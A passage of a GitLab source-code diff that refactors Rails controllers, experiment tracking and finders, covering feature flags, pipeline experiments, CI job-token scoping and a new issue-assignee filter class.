before_action :define_commit_box_vars, only: [:show, :pipelines]
before_action :define_note_vars, only: [:show, :diff_for_path, :diff_files]
before_action :authorize_edit_tree!, only: [:revert, :cherry_pick]
- before_action do
- push_frontend_feature_flag(:pick_into_project, @project, default_enabled: :yaml)
- end
BRANCH_SEARCH_LIMIT = 1000
COMMIT_DIFFS_PER_PAGE = 20
@@ -220,7 +217,6 @@ class Projects::CommitController < Projects::ApplicationController
def find_cherry_pick_target_project
return @project if params[:target_project_id].blank?
- return @project unless Feature.enabled?(:pick_into_project, @project, default_enabled: :yaml)
MergeRequestTargetProjectFinder
.new(current_user: current_user, source_project: @project, project_feature: :repository)
diff --git a/app/controllers/projects/compare_controller.rb b/app/controllers/projects/compare_controller.rb
index 28a87f83451..edf45e7063a 100644
--- a/app/controllers/projects/compare_controller.rb
+++ b/app/controllers/projects/compare_controller.rb
@@ -79,11 +79,11 @@ class Projects::CompareController < Projects::ApplicationController
private
def validate_refs!
- valid = [head_ref, start_ref].map { |ref| valid_ref?(ref) }
+ invalid = [head_ref, start_ref].filter { |ref| !valid_ref?(ref) }
- return if valid.all?
+ return if invalid.empty?
- flash[:alert] = "Invalid branch name"
+ flash[:alert] = "Invalid branch name(s): #{invalid.join(', ')}"
redirect_to project_compare_index_path(source_project)
end
diff --git a/app/controllers/projects/cycle_analytics/events_controller.rb b/app/controllers/projects/cycle_analytics/events_controller.rb
index 3a5dd23047c..a1da8d4e91f 100644
--- a/app/controllers/projects/cycle_analytics/events_controller.rb
+++ b/app/controllers/projects/cycle_analytics/events_controller.rb
@@ -53,7 +53,7 @@ module Projects
end
def cycle_analytics
- @cycle_analytics ||= ::CycleAnalytics::ProjectLevel.new(project, options: options(cycle_analytics_project_params))
+ @cycle_analytics ||= ::Analytics::CycleAnalytics::ProjectLevel.new(project: project, options: options(cycle_analytics_project_params))
end
end
end
diff --git a/app/controllers/projects/cycle_analytics_controller.rb b/app/controllers/projects/cycle_analytics_controller.rb
index 5c15a5d246c..d1d27286c68 100644
--- a/app/controllers/projects/cycle_analytics_controller.rb
+++ b/app/controllers/projects/cycle_analytics_controller.rb
@@ -14,7 +14,7 @@ class Projects::CycleAnalyticsController < Projects::ApplicationController
feature_category :planning_analytics
def show
- @cycle_analytics = ::CycleAnalytics::ProjectLevel.new(@project, options: options(cycle_analytics_project_params))
+ @cycle_analytics = Analytics::CycleAnalytics::ProjectLevel.new(project: @project, options: options(cycle_analytics_project_params))
respond_to do |format|
format.html do
diff --git a/app/controllers/projects/feature_flags_controller.rb b/app/controllers/projects/feature_flags_controller.rb
index 6b6606c4f41..a59824b1085 100644
--- a/app/controllers/projects/feature_flags_controller.rb
+++ b/app/controllers/projects/feature_flags_controller.rb
@@ -11,6 +11,7 @@ class Projects::FeatureFlagsController < Projects::ApplicationController
before_action :feature_flag, only: [:edit, :update, :destroy]
before_action :ensure_flag_writable!, only: [:update]
+ before_action :exclude_legacy_flags_check, only: [:edit]
before_action do
push_frontend_feature_flag(:feature_flag_permissions)
@@ -107,6 +108,12 @@ class Projects::FeatureFlagsController < Projects::ApplicationController
end
end
+ def exclude_legacy_flags_check
+ if feature_flag.legacy_flag?
+ not_found
+ end
+ end
+
def create_params
params.require(:operations_feature_flag)
.permit(:name, :description, :active, :version,
diff --git a/app/controllers/projects/feature_flags_user_lists_controller.rb b/app/controllers/projects/feature_flags_user_lists_controller.rb
index 7be3254e966..fd81321924a 100644
--- a/app/controllers/projects/feature_flags_user_lists_controller.rb
+++ b/app/controllers/projects/feature_flags_user_lists_controller.rb
@@ -6,6 +6,9 @@ class Projects::FeatureFlagsUserListsController < Projects::ApplicationControlle
feature_category :feature_flags
+ def index
+ end
+
def new
end
diff --git a/app/controllers/projects/forks_controller.rb b/app/controllers/projects/forks_controller.rb
index 8fa3635a737..9e42d218ceb 100644
--- a/app/controllers/projects/forks_controller.rb
+++ b/app/controllers/projects/forks_controller.rb
@@ -56,7 +56,13 @@ class Projects::ForksController < Projects::ApplicationController
can_fork_to?(current_user.namespace)
render json: {
- namespaces: ForkNamespaceSerializer.new.represent(namespaces, project: project, current_user: current_user, memberships: memberships_hash)
+ namespaces: ForkNamespaceSerializer.new.represent(
+ namespaces,
+ project: project,
+ current_user: current_user,
+ memberships: memberships_hash,
+ forked_projects: forked_projects_by_namespace(namespaces)
+ )
}
end
end
@@ -129,6 +135,10 @@ class Projects::ForksController < Projects::ApplicationController
def memberships_hash
current_user.members.where(source: load_namespaces_with_associations).index_by(&:source_id)
end
+
+ def forked_projects_by_namespace(namespaces)
+ project.forks.where(namespace: namespaces).includes(:namespace).index_by(&:namespace_id)
+ end
end
Projects::ForksController.prepend_mod_with('Projects::ForksController')
diff --git a/app/controllers/projects/issues_controller.rb b/app/controllers/projects/issues_controller.rb
index 01a6de76ba5..295213bd38c 100644
--- a/app/controllers/projects/issues_controller.rb
+++ b/app/controllers/projects/issues_controller.rb
@@ -46,6 +46,7 @@ class Projects::IssuesController < Projects::ApplicationController
push_frontend_feature_flag(:usage_data_design_action, project, default_enabled: true)
push_frontend_feature_flag(:improved_emoji_picker, project, default_enabled: :yaml)
push_frontend_feature_flag(:vue_issues_list, project)
+ push_frontend_feature_flag(:iteration_cadences, project&.group, default_enabled: :yaml)
end
before_action only: :show do
@@ -55,6 +56,7 @@ class Projects::IssuesController < Projects::ApplicationController
push_to_gon_attributes(:features, real_time_feature_flag, real_time_enabled)
push_frontend_feature_flag(:confidential_notes, @project, default_enabled: :yaml)
push_frontend_feature_flag(:issue_assignees_widget, @project, default_enabled: :yaml)
+ push_frontend_feature_flag(:labels_widget, @project, default_enabled: :yaml)
experiment(:invite_members_in_comment, namespace: @project.root_ancestor) do |experiment_instance|
experiment_instance.exclude! unless helpers.can_import_members?
@@ -160,7 +162,7 @@ class Projects::IssuesController < Projects::ApplicationController
new_project = Project.find(params[:move_to_project_id])
return render_404 unless issue.can_move?(current_user, new_project)
- @issue = ::Issues::UpdateService.new(project: project, current_user: current_user, params: { target_project: new_project }).execute(issue)
+ @issue = ::Issues::MoveService.new(project: project, current_user: current_user).execute(issue, new_project)
end
respond_to do |format|
diff --git a/app/controllers/projects/merge_requests/conflicts_controller.rb b/app/controllers/projects/merge_requests/conflicts_controller.rb
index 011ac9a42f8..a8038878504 100644
--- a/app/controllers/projects/merge_requests/conflicts_controller.rb
+++ b/app/controllers/projects/merge_requests/conflicts_controller.rb
@@ -9,6 +9,7 @@ class Projects::MergeRequests::ConflictsController < Projects::MergeRequests::Ap
respond_to do |format|
format.html do
@issuable_sidebar = serializer.represent(@merge_request, serializer: 'sidebar')
+ Gitlab::UsageDataCounters::MergeRequestActivityUniqueCounter.track_loading_conflict_ui_action(user: current_user)
end
format.json do
@@ -42,6 +43,8 @@ class Projects::MergeRequests::ConflictsController < Projects::MergeRequests::Ap
def resolve_conflicts
return render_404 unless @conflicts_list.can_be_resolved_in_ui?
+ Gitlab::UsageDataCounters::MergeRequestActivityUniqueCounter.track_resolve_conflict_action(user: current_user)
+
if @merge_request.can_be_merged?
render status: :bad_request, json: { message: _('The merge conflicts for this merge request have already been resolved.') }
return
diff --git a/app/controllers/projects/merge_requests_controller.rb b/app/controllers/projects/merge_requests_controller.rb
index 613faa200d1..5958c7f66e5 100644
--- a/app/controllers/projects/merge_requests_controller.rb
+++ b/app/controllers/projects/merge_requests_controller.rb
@@ -43,6 +43,7 @@ class Projects::MergeRequestsController < Projects::MergeRequests::ApplicationCo
push_frontend_feature_flag(:usage_data_i_testing_summary_widget_total, @project, default_enabled: :yaml)
push_frontend_feature_flag(:improved_emoji_picker, project, default_enabled: :yaml)
push_frontend_feature_flag(:diffs_virtual_scrolling, project, default_enabled: :yaml)
+ push_frontend_feature_flag(:codequality_mr_diff_annotations, project, default_enabled: :yaml)
# Usage data feature flags
push_frontend_feature_flag(:users_expanding_widgets_usage_data, @project, default_enabled: :yaml)
diff --git a/app/controllers/projects/metrics_dashboard_controller.rb b/app/controllers/projects/metrics_dashboard_controller.rb
index 3f10749602e..89c99a5fd5a 100644
--- a/app/controllers/projects/metrics_dashboard_controller.rb
+++ b/app/controllers/projects/metrics_dashboard_controller.rb
@@ -12,6 +12,7 @@ module Projects
before_action do
push_frontend_feature_flag(:prometheus_computed_alerts)
push_frontend_feature_flag(:disable_metric_dashboard_refresh_rate)
+ push_frontend_feature_flag(:managed_alerts_deprecation, @project, default_enabled: :yaml)
end
feature_category :metrics
diff --git a/app/controllers/projects/packages/infrastructure_registry_controller.rb b/app/controllers/projects/packages/infrastructure_registry_controller.rb
index 22ae1d65013..ee04cbb0062 100644
--- a/app/controllers/projects/packages/infrastructure_registry_controller.rb
+++ b/app/controllers/projects/packages/infrastructure_registry_controller.rb
@@ -3,7 +3,19 @@
module Projects
module Packages
class InfrastructureRegistryController < Projects::ApplicationController
+ before_action :verify_feature_enabled!
feature_category :infrastructure_as_code
+
+ def show
+ @package = project.packages.find(params[:id])
+ @package_files = @package.package_files.recent
+ end
+
+ private
+
+ def verify_feature_enabled!
+ render_404 unless Feature.enabled?(:infrastructure_registry_page, default_enabled: :yaml)
+ end
end
end
end
diff --git a/app/controllers/projects/pipeline_schedules_controller.rb b/app/controllers/projects/pipeline_schedules_controller.rb
index 4af7508b935..006cb8a2201 100644
--- a/app/controllers/projects/pipeline_schedules_controller.rb
+++ b/app/controllers/projects/pipeline_schedules_controller.rb
@@ -10,6 +10,10 @@ class Projects::PipelineSchedulesController < Projects::ApplicationController
before_action :authorize_update_pipeline_schedule!, except: [:index, :new, :create, :play]
before_action :authorize_admin_pipeline_schedule!, only: [:destroy]
+ before_action do
+ push_frontend_feature_flag(:ci_daily_limit_for_pipeline_schedules, @project, default_enabled: :yaml)
+ end
+
feature_category :continuous_integration
# rubocop: disable CodeReuse/ActiveRecord
diff --git a/app/controllers/projects/pipelines_controller.rb b/app/controllers/projects/pipelines_controller.rb
index 0de8dc597ae..7779f3c3b65 100644
--- a/app/controllers/projects/pipelines_controller.rb
+++ b/app/controllers/projects/pipelines_controller.rb
@@ -49,26 +49,9 @@ class Projects::PipelinesController < Projects::ApplicationController
respond_to do |format|
format.html do
- experiment(:pipeline_empty_state_templates, actor: current_user) do |e|
- e.exclude! unless current_user
- e.exclude! if @pipelines_count.to_i > 0
- e.exclude! if helpers.has_gitlab_ci?(project)
-
- e.use {}
- e.try {}
- e.track(:view, value: project.namespace_id)
- end
- experiment(:code_quality_walkthrough, namespace: project.root_ancestor) do |e|
- e.exclude! unless current_user
- e.exclude! unless can?(current_user, :create_pipeline, project)
- e.exclude! unless project.root_ancestor.recent?
- e.exclude! if @pipelines_count.to_i > 0
- e.exclude! if helpers.has_gitlab_ci?(project)
-
- e.use {}
- e.try {}
- e.track(:view, property: project.root_ancestor.id.to_s)
- end
+ enable_pipeline_empty_state_templates_experiment
+ enable_code_quality_walkthrough_experiment
+ enable_ci_runner_templates_experiment
end
format.json do
Gitlab::PollingInterval.set_header(response, interval: POLLING_INTERVAL)
@@ -176,11 +159,7 @@ class Projects::PipelinesController < Projects::ApplicationController
end
def retry
- if Gitlab::Ci::Features.background_pipeline_retry_endpoint?(@project)
- ::Ci::RetryPipelineWorker.perform_async(pipeline.id, current_user.id) # rubocop:disable CodeReuse/Worker
- else
- pipeline.retry_failed(current_user)
- end
+ ::Ci::RetryPipelineWorker.perform_async(pipeline.id, current_user.id) # rubocop:disable CodeReuse/Worker
respond_to do |format|
format.html do
@@ -321,6 +300,45 @@ class Projects::PipelinesController < Projects::ApplicationController
def index_params
params.permit(:scope, :username, :ref, :status)
end
+
+ def enable_pipeline_empty_state_templates_experiment
+ experiment(:pipeline_empty_state_templates, namespace: project.root_ancestor) do |e|
+ e.exclude! unless current_user
+ e.exclude! if @pipelines_count.to_i > 0
+ e.exclude! if helpers.has_gitlab_ci?(project)
+
+ e.control {}
+ e.candidate {}
+ e.record!
+ end
+ end
+
+ def enable_code_quality_walkthrough_experiment
+ experiment(:code_quality_walkthrough, namespace: project.root_ancestor) do |e|
+ e.exclude! unless current_user
+ e.exclude! unless can?(current_user, :create_pipeline, project)
+ e.exclude! unless project.root_ancestor.recent?
+ e.exclude! if @pipelines_count.to_i > 0
+ e.exclude! if helpers.has_gitlab_ci?(project)
+
+ e.control {}
+ e.candidate {}
+ e.record!
+ end
+ end
+
+ def enable_ci_runner_templates_experiment
+ experiment(:ci_runner_templates, namespace: project.root_ancestor) do |e|
+ e.exclude! unless current_user
+ e.exclude! unless can?(current_user, :create_pipeline, project)
+ e.exclude! if @pipelines_count.to_i > 0
+ e.exclude! if helpers.has_gitlab_ci?(project)
+
+ e.control {}
+ e.candidate {}
+ e.record!
+ end
+ end
end
Projects::PipelinesController.prepend_mod_with('Projects::PipelinesController')
diff --git a/app/controllers/projects/project_members_controller.rb b/app/controllers/projects/project_members_controller.rb
index cc2157a7d51..370cd2b02a1 100644
--- a/app/controllers/projects/project_members_controller.rb
+++ b/app/controllers/projects/project_members_controller.rb
@@ -62,6 +62,22 @@ class Projects::ProjectMembersController < Projects::ApplicationController
def membershipable_members
project.members
end
+
+ def plain_source_type
+ 'project'
+ end
+
+ def source_type
+ _("project")
+ end
+
+ def members_page_url
+ project_project_members_path(project)
+ end
+
+ def root_params_key
+ :project_member
+ end
end
Projects::ProjectMembersController.prepend_mod_with('Projects::ProjectMembersController')
diff --git a/app/controllers/projects/releases_controller.rb b/app/controllers/projects/releases_controller.rb
index 1bb50eabd1d..f01d10f4afa 100644
--- a/app/controllers/projects/releases_controller.rb
+++ b/app/controllers/projects/releases_controller.rb
@@ -10,6 +10,9 @@ class Projects::ReleasesController < Projects::ApplicationController
before_action :authorize_download_code!, except: [:index]
before_action :authorize_update_release!, only: %i[edit update]
before_action :authorize_create_release!, only: :new
+ before_action only: :index do
+ push_frontend_feature_flag(:releases_index_apollo_client, project, default_enabled: :yaml)
+ end
feature_category :release_orchestration
diff --git a/app/controllers/projects/security/configuration_controller.rb b/app/controllers/projects/security/configuration_controller.rb
index 19de157357a..3a473bb67e0 100644
--- a/app/controllers/projects/security/configuration_controller.rb
+++ b/app/controllers/projects/security/configuration_controller.rb
@@ -7,6 +7,10 @@ module Projects
feature_category :static_application_security_testing
+ before_action only: [:show] do
+ push_frontend_feature_flag(:security_configuration_redesign, project, default_enabled: :yaml)
+ end
+
def show
render_403 unless can?(current_user, :read_security_configuration, project)
end
diff --git a/app/controllers/projects/services_controller.rb b/app/controllers/projects/services_controller.rb
index 74145a70b95..cad13d7e708 100644
--- a/app/controllers/projects/services_controller.rb
+++ b/app/controllers/projects/services_controller.rb
@@ -85,14 +85,13 @@ class Projects::ServicesController < Projects::ApplicationController
def integration
@integration ||= @project.find_or_initialize_service(params[:id])
- @service ||= @integration # TODO: remove references to @service
end
alias_method :service, :integration
def web_hook_logs
- return unless @service.service_hook.present?
+ return unless integration.service_hook.present?
- @web_hook_logs ||= @service.service_hook.web_hook_logs.recent.page(params[:page])
+ @web_hook_logs ||= integration.service_hook.web_hook_logs.recent.page(params[:page])
end
def ensure_service_enabled
@@ -101,8 +100,8 @@ class Projects::ServicesController < Projects::ApplicationController
def serialize_as_json
integration
- .as_json(only: @service.json_fields)
- .merge(errors: @service.errors.as_json)
+ .as_json(only: integration.json_fields)
+ .merge(errors: integration.errors.as_json)
end
def redirect_deprecated_prometheus_service
diff --git a/app/controllers/projects/settings/integrations_controller.rb b/app/controllers/projects/settings/integrations_controller.rb
index fba11ff1497..e54f4c511db 100644
--- a/app/controllers/projects/settings/integrations_controller.rb
+++ b/app/controllers/projects/settings/integrations_controller.rb
@@ -9,7 +9,7 @@ module Projects
feature_category :integrations
def show
- @services = @project.find_or_initialize_services
+ @integrations = @project.find_or_initialize_services
end
end
end
diff --git a/app/controllers/projects/settings/operations_controller.rb b/app/controllers/projects/settings/operations_controller.rb
index a357227c870..e32815b6239 100644
--- a/app/controllers/projects/settings/operations_controller.rb
+++ b/app/controllers/projects/settings/operations_controller.rb
@@ -65,7 +65,7 @@ module Projects
return unless external_url_previous_change
return unless external_url_previous_change[0].blank? && external_url_previous_change[1].present?
- ::Gitlab::Tracking.event('project:operations:tracing', 'external_url_populated')
+ ::Gitlab::Tracking.event('project:operations:tracing', 'external_url_populated', user: current_user, project: project, namespace: project.namespace)
end
def alerting_params
diff --git a/app/controllers/projects/templates_controller.rb b/app/controllers/projects/templates_controller.rb
index b4b8fb97049..df945a99c73 100644
--- a/app/controllers/projects/templates_controller.rb
+++ b/app/controllers/projects/templates_controller.rb
@@ -25,7 +25,7 @@ class Projects::TemplatesController < Projects::ApplicationController
def names
respond_to do |format|
- format.json { render json: TemplateFinder.all_template_names_hash_or_array(project, params[:template_type].to_s) }
+ format.json { render json: TemplateFinder.all_template_names(project, params[:template_type].to_s.pluralize) }
end
end
diff --git a/app/controllers/projects/wikis_controller.rb b/app/controllers/projects/wikis_controller.rb
index a1493a25a1a..d1486f765e4 100644
--- a/app/controllers/projects/wikis_controller.rb
+++ b/app/controllers/projects/wikis_controller.rb
@@ -6,8 +6,4 @@ class Projects::WikisController < Projects::ApplicationController
alias_method :container, :project
feature_category :wiki
-
- before_action do
- push_frontend_feature_flag(:wiki_content_editor, project, default_enabled: :yaml)
- end
end
diff --git a/app/controllers/projects_controller.rb b/app/controllers/projects_controller.rb
index fb977a5ee42..53d80b8be58 100644
--- a/app/controllers/projects_controller.rb
+++ b/app/controllers/projects_controller.rb
@@ -39,6 +39,11 @@ class ProjectsController < Projects::ApplicationController
push_frontend_feature_flag(:refactor_blob_viewer, @project, default_enabled: :yaml)
end
+ before_action only: [:new] do
+ # Run experiment before render so it will be written to the `gon` for FE
+ helpers.new_repo_experiment_text
+ end
+
layout :determine_layout
feature_category :projects, [
@@ -221,7 +226,14 @@ class ProjectsController < Projects::ApplicationController
def download_export
if @project.export_file_exists?
- send_upload(@project.export_file, attachment: @project.export_file.filename)
+ if @project.export_archive_exists?
+ send_upload(@project.export_file, attachment: @project.export_file.filename)
+ else
+ redirect_to(
+ edit_project_path(@project, anchor: 'js-export-project'),
+ alert: _("The file containing the export is not available yet; it may still be transferring. Please try again later.")
+ )
+ end
else
redirect_to(
edit_project_path(@project, anchor: 'js-export-project'),
@@ -330,11 +342,7 @@ class ProjectsController < Projects::ApplicationController
experiment(:empty_repo_upload, project: @project).track(:view_project_show, property: property)
end
- if @project.empty_repo?
- record_experiment_user(:invite_members_empty_project_version_a)
-
- render 'projects/empty'
- end
+ render 'projects/empty' if @project.empty_repo?
else
if can?(current_user, :read_wiki, @project)
@wiki = @project.wiki
@@ -435,6 +443,7 @@ class ProjectsController < Projects::ApplicationController
:request_access_enabled,
:runners_token,
:tag_list,
+ :topics,
:visibility_level,
:template_name,
:template_project_id,
diff --git a/app/controllers/registrations/welcome_controller.rb b/app/controllers/registrations/welcome_controller.rb
index 87465f8714d..34283cc8db7 100644
--- a/app/controllers/registrations/welcome_controller.rb
+++ b/app/controllers/registrations/welcome_controller.rb
@@ -52,7 +52,7 @@ module Registrations
end
def path_for_signed_in_user(user)
- return users_almost_there_path if requires_confirmation?(user)
+ return users_almost_there_path(email: user.email) if requires_confirmation?(user)
stored_location_for(user) || members_activity_path(user.members)
end
diff --git a/app/controllers/registrations_controller.rb b/app/controllers/registrations_controller.rb
index 0f29f6f608f..cacd3c2da64 100644
--- a/app/controllers/registrations_controller.rb
+++ b/app/controllers/registrations_controller.rb
@@ -101,7 +101,7 @@ class RegistrationsController < Devise::RegistrationsController
Gitlab::AppLogger.info(user_created_message)
return new_user_session_path(anchor: 'login-pane') if resource.blocked_pending_approval?
- Feature.enabled?(:soft_email_confirmation) ? dashboard_projects_path : users_almost_there_path
+ Feature.enabled?(:soft_email_confirmation) ? dashboard_projects_path : users_almost_there_path(email: resource.email)
end
private
@@ -202,6 +202,10 @@ class RegistrationsController < Devise::RegistrationsController
experiment(:invite_signup_page_interaction, actor: member).track(:form_submission)
experiment('members/invite_email', actor: member).track(:accepted)
end
+
+ def context_user
+ current_user
+ end
end
RegistrationsController.prepend_mod_with('RegistrationsController')
diff --git a/app/controllers/users_controller.rb b/app/controllers/users_controller.rb
index 287ee2d5ab8..7282fc26121 100644
--- a/app/controllers/users_controller.rb
+++ b/app/controllers/users_controller.rb
@@ -20,7 +20,7 @@ class UsersController < ApplicationController
skip_before_action :authenticate_user!
prepend_before_action(only: [:show]) { authenticate_sessionless_user!(:rss) }
- before_action :user, except: [:exists, :suggests, :ssh_keys]
+ before_action :user, except: [:exists, :ssh_keys]
before_action :authorize_read_user_profile!,
only: [:calendar, :calendar_activities, :groups, :projects, :contributed, :starred, :snippets, :followers, :following]
@@ -153,14 +153,6 @@ class UsersController < ApplicationController
render json: { exists: !!Namespace.find_by_path_or_name(params[:username]) }
end
- def suggests
- namespace_path = params[:username]
- exists = !!Namespace.find_by_path_or_name(namespace_path)
- suggestions = exists ? [Namespace.clean_path(namespace_path)] : []
-
- render json: { exists: exists, suggests: suggestions }
- end
-
def follow
current_user.follow(user)
diff --git a/app/experiments/application_experiment.rb b/app/experiments/application_experiment.rb
index d7c4d2fcda3..53ea8ea2d3a 100644
--- a/app/experiments/application_experiment.rb
+++ b/app/experiments/application_experiment.rb
@@ -12,13 +12,18 @@ class ApplicationExperiment < Gitlab::Experiment # rubocop:disable Gitlab/Namesp
def publish(_result = nil)
return unless should_track? # don't track events for excluded contexts
+ record_experiment if @record # record the subject in the database if the context contains a namespace, group, project, actor or user
+
track(:assignment) # track that we've assigned a variant for this context
- begin
- Gon.push({ experiment: { name => signature } }, true) # push the experiment data to the client
- rescue NoMethodError
- # means we're not in the request cycle, and can't add to Gon. Log a warning maybe?
- end
+ push_to_client
+ end
+
+ # push the experiment data to the client
+ def push_to_client
+ Gon.push({ experiment: { name => signature } }, true)
+ rescue NoMethodError
+ # means we're not in the request cycle, and can't add to Gon. Log a warning maybe?
end
def track(action, **event_args)
@@ -32,6 +37,10 @@ class ApplicationExperiment < Gitlab::Experiment # rubocop:disable Gitlab/Namesp
))
end
+ def record!
+ @record = true
+ end
+
def exclude!
@excluded = true
end
@@ -49,4 +58,13 @@ class ApplicationExperiment < Gitlab::Experiment # rubocop:disable Gitlab/Namesp
def experiment_group?
Feature.enabled?(feature_flag_name, self, type: :experiment, default_enabled: :yaml)
end
+
+ def record_experiment
+ subject = context.value[:namespace] || context.value[:group] || context.value[:project] || context.value[:user] || context.value[:actor]
+ return unless ExperimentSubject.valid_subject?(subject)
+
+ variant = :experimental if @variant_name != :control
+
+ Experiment.add_subject(name, variant: variant || :control, subject: subject)
+ end
end
diff --git a/app/experiments/members/invite_email_experiment.rb b/app/experiments/members/invite_email_experiment.rb
index f780c6962df..893061e34f3 100644
--- a/app/experiments/members/invite_email_experiment.rb
+++ b/app/experiments/members/invite_email_experiment.rb
@@ -12,7 +12,7 @@ module Members
end
def resolve_variant_name
- RoundRobin.new(feature_flag_name, %i[avatar permission_info control]).execute
+ RoundRobin.new(feature_flag_name, %i[activity control]).execute
end
end
diff --git a/app/finders/ci/auth_job_finder.rb b/app/finders/ci/auth_job_finder.rb
index aee7dd16341..d207a522aa8 100644
--- a/app/finders/ci/auth_job_finder.rb
+++ b/app/finders/ci/auth_job_finder.rb
@@ -15,6 +15,10 @@ module Ci
next unless job
validate_job!(job)
+
+ if job.user && Feature.enabled?(:ci_scoped_job_token, job.project, default_enabled: :yaml)
+ job.user.set_ci_job_token_scope!(job)
+ end
end
end
diff --git a/app/finders/ci/pipelines_for_merge_request_finder.rb b/app/finders/ci/pipelines_for_merge_request_finder.rb
index be65b1f6b3c..6c5038128f8 100644
--- a/app/finders/ci/pipelines_for_merge_request_finder.rb
+++ b/app/finders/ci/pipelines_for_merge_request_finder.rb
@@ -48,7 +48,7 @@ module Ci
# rubocop: disable CodeReuse/ActiveRecord
def pipelines_using_cte
sha_relation = merge_request.all_commits.select(:sha)
- sha_relation = sha_relation.distinct if Feature.enabled?(:use_distinct_in_shas_cte)
+ sha_relation = sha_relation.distinct if Feature.enabled?(:use_distinct_in_shas_cte, default_enabled: :yaml)
cte = Gitlab::SQL::CTE.new(:shas, sha_relation)
diff --git a/app/finders/ci/runners_finder.rb b/app/finders/ci/runners_finder.rb
index 60dd977ff94..7ad51361efd 100644
--- a/app/finders/ci/runners_finder.rb
+++ b/app/finders/ci/runners_finder.rb
@@ -4,6 +4,9 @@ module Ci
class RunnersFinder < UnionFinder
include Gitlab::Allowable
+ ALLOWED_SORTS = %w[contacted_asc contacted_desc created_at_asc created_at_desc created_date].freeze
+ DEFAULT_SORT = 'created_at_desc'
+
def initialize(current_user:, group: nil, params:)
@params = params
@group = group
@@ -24,11 +27,7 @@ module Ci
end
def sort_key
- if @params[:sort] == 'contacted_asc'
- 'contacted_asc'
- else
- 'created_date'
- end
+ ALLOWED_SORTS.include?(@params[:sort]) ? @params[:sort] : DEFAULT_SORT
end
private
diff --git a/app/finders/concerns/packages/finder_helper.rb b/app/finders/concerns/packages/finder_helper.rb
index f0ad998cadb..d2784a1d270 100644
--- a/app/finders/concerns/packages/finder_helper.rb
+++ b/app/finders/concerns/packages/finder_helper.rb
@@ -29,7 +29,7 @@ module Packages
end
def projects_visible_to_reporters(user, within_group:)
- if user.is_a?(DeployToken) && Feature.enabled?(:packages_finder_helper_deploy_token, default_enabled: :yaml)
+ if user.is_a?(DeployToken)
user.accessible_projects
else
within_group.all_projects
diff --git a/app/finders/deployments_finder.rb b/app/finders/deployments_finder.rb
index acce038dba6..bb9d204ab73 100644
--- a/app/finders/deployments_finder.rb
+++ b/app/finders/deployments_finder.rb
@@ -136,7 +136,7 @@ class DeploymentsFinder
# Implicitly enforce the ordering when filtered by `updated_at` column for performance optimization.
# See https://gitlab.com/gitlab-org/gitlab/-/issues/325627#note_552417509.
# We remove this in https://gitlab.com/gitlab-org/gitlab/-/issues/328500.
- if filter_by_updated_at? && implicitly_enforce_ordering_for_updated_at_filter?
+ if filter_by_updated_at?
sort_params.replace('updated_at' => sort_direction)
end
@@ -170,15 +170,6 @@ class DeploymentsFinder
params[:order_by].to_s == 'finished_at'
end
- def implicitly_enforce_ordering_for_updated_at_filter?
- return false unless params[:project].present?
-
- ::Feature.enabled?(
- :deployments_finder_implicitly_enforce_ordering_for_updated_at_filter,
- params[:project],
- default_enabled: :yaml)
- end
-
# rubocop: disable CodeReuse/ActiveRecord
def preload_associations(scope)
scope.includes(
diff --git a/app/finders/feature_flags_finder.rb b/app/finders/feature_flags_finder.rb
index 7b38841970d..20b18c62f7a 100644
--- a/app/finders/feature_flags_finder.rb
+++ b/app/finders/feature_flags_finder.rb
@@ -24,7 +24,7 @@ class FeatureFlagsFinder
private
def feature_flags
- project.operations_feature_flags
+ project.operations_feature_flags.new_version_only
end
def by_scope(items)
diff --git a/app/finders/issuable_finder.rb b/app/finders/issuable_finder.rb
index d1885b5ae08..086dadcf5b7 100644
--- a/app/finders/issuable_finder.rb
+++ b/app/finders/issuable_finder.rb
@@ -50,7 +50,7 @@ class IssuableFinder
attr_reader :original_params
attr_writer :parent
- delegate(*%i[assignee milestones], to: :params)
+ delegate(*%i[milestones], to: :params)
class << self
def scalar_params
@@ -148,7 +148,6 @@ class IssuableFinder
# Negates all params found in `negatable_params`
def filter_negated_items(items)
- items = by_negated_assignee(items)
items = by_negated_label(items)
items = by_negated_milestone(items)
items = by_negated_release(items)
@@ -365,32 +364,21 @@ class IssuableFinder
def by_author(items)
Issuables::AuthorFilter.new(
- items,
params: original_params,
or_filters_enabled: or_filters_enabled?
- ).filter
+ ).filter(items)
end
def by_assignee(items)
- if params.filter_by_no_assignee?
- items.unassigned
- elsif params.filter_by_any_assignee?
- items.assigned
- elsif params.assignee
- items.assigned_to(params.assignee)
- elsif params.assignee_id? || params.assignee_username? # assignee not found
- items.none
- else
- items
- end
+ assignee_filter.filter(items)
end
- def by_negated_assignee(items)
- # We want CE users to be able to say "Issues not assigned to either PersonA nor PersonB"
- if not_params.assignees.present?
- items.not_assigned_to(not_params.assignees)
- else
- items
+ def assignee_filter
+ strong_memoize(:assignee_filter) do
+ Issuables::AssigneeFilter.new(
+ params: original_params,
+ or_filters_enabled: or_filters_enabled?
+ )
end
end
diff --git a/app/finders/issuable_finder/params.rb b/app/finders/issuable_finder/params.rb
index a62210ceac5..51e12dde51d 100644
--- a/app/finders/issuable_finder/params.rb
+++ b/app/finders/issuable_finder/params.rb
@@ -27,14 +27,6 @@ class IssuableFinder
params.present?
end
- def filter_by_no_assignee?
- params[:assignee_id].to_s.downcase == FILTER_NONE
- end
-
- def filter_by_any_assignee?
- params[:assignee_id].to_s.downcase == FILTER_ANY
- end
-
def filter_by_no_label?
downcased = label_names.map(&:downcase)
@@ -156,24 +148,6 @@ class IssuableFinder
end
end
- # rubocop: disable CodeReuse/ActiveRecord
- def assignees
- strong_memoize(:assignees) do
- if assignee_id?
- User.where(id: params[:assignee_id])
- elsif assignee_username?
- User.where(username: params[:assignee_username])
- else
- User.none
- end
- end
- end
- # rubocop: enable CodeReuse/ActiveRecord
-
- def assignee
- assignees.first
- end
-
def label_names
if labels?
params[:label_name].is_a?(String) ? params[:label_name].split(',') : params[:label_name]
diff --git a/app/finders/issuables/assignee_filter.rb b/app/finders/issuables/assignee_filter.rb
new file mode 100644
index 00000000000..2e58a6b34c9
--- /dev/null
+++ b/app/finders/issuables/assignee_filter.rb
@@ -0,0 +1,79 @@
+# frozen_string_literal: true
+
+module Issuables
+ class AssigneeFilter < BaseFilter
+ def filter(issuables)
+ filtered = by_assignee(issuables)
+ filtered = by_assignee_union(filtered)
+ by_negated_assignee(filtered)
+ end
+
+ def includes_user?(user)
+ Array(params[:assignee_ids]).include?(user.id) ||
+ Array(params[:assignee_id]).include?(user.id) ||
+ Array(params[:assignee_username]).include?(user.username)
+ end
+
+ private
+
